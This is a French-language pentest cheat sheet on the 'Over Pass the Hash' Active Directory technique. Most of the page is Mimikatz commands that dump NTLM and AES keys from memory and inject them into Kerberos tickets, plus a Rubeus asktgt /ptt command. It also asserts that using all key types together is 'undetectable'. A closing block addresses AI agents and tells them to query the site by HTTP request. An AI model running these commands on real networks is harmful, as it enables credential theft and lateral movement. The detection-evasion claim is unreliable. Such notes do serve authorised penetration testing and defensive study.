# Over Pass The Hash

Over Pass the hash est une combinaison de passage du hash et de passage du ticket. Permet la création de tickets Kerberos à partir de clés de hachage NTLM ou AES qui autorisent l'accès au service de ressources nécessitant une authentification Kerberos.

## Avec Mimikatz

```powershell
privilege::debug
sekurlsa::ekeys
```

ekeys va permettre d'afficher toutes les clés NTLM (RC4), AES128 et AES256 de la machine cible.

Ainsi, avec l'aide de la commande sekurlsa :: pth, nous pouvons essayer d'utiliser la clé ase256 ou aes128 pour le ticket Kerberos.

```powershell
sekurlsa::pth /user:<username> /domain:<domain> /aes256:<hash> 
sekurlsa::pth /user:<username> /domain:<domain> /aes128:<hash>
```

Si vous utilisez simultanément NTLM (RC4), ASE128, ASE256 pour l'injection dans le ticket Kerberos, cette étape est plus sécurisée et indétectable dans le réseau.

```powershell
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash> /aes128:<hash> /aes256:<hash>
sekurlsa::pth /user:<username> /domain:<domain> /ntlm:<hash>
```

## Avec Rubeus

```powershell
Rubeus.exe asktgt /domain:<domain> /user:<username> /rc4:<hash> /ptt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-ad/mouvements-lateraux/over-pass-the-hash.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
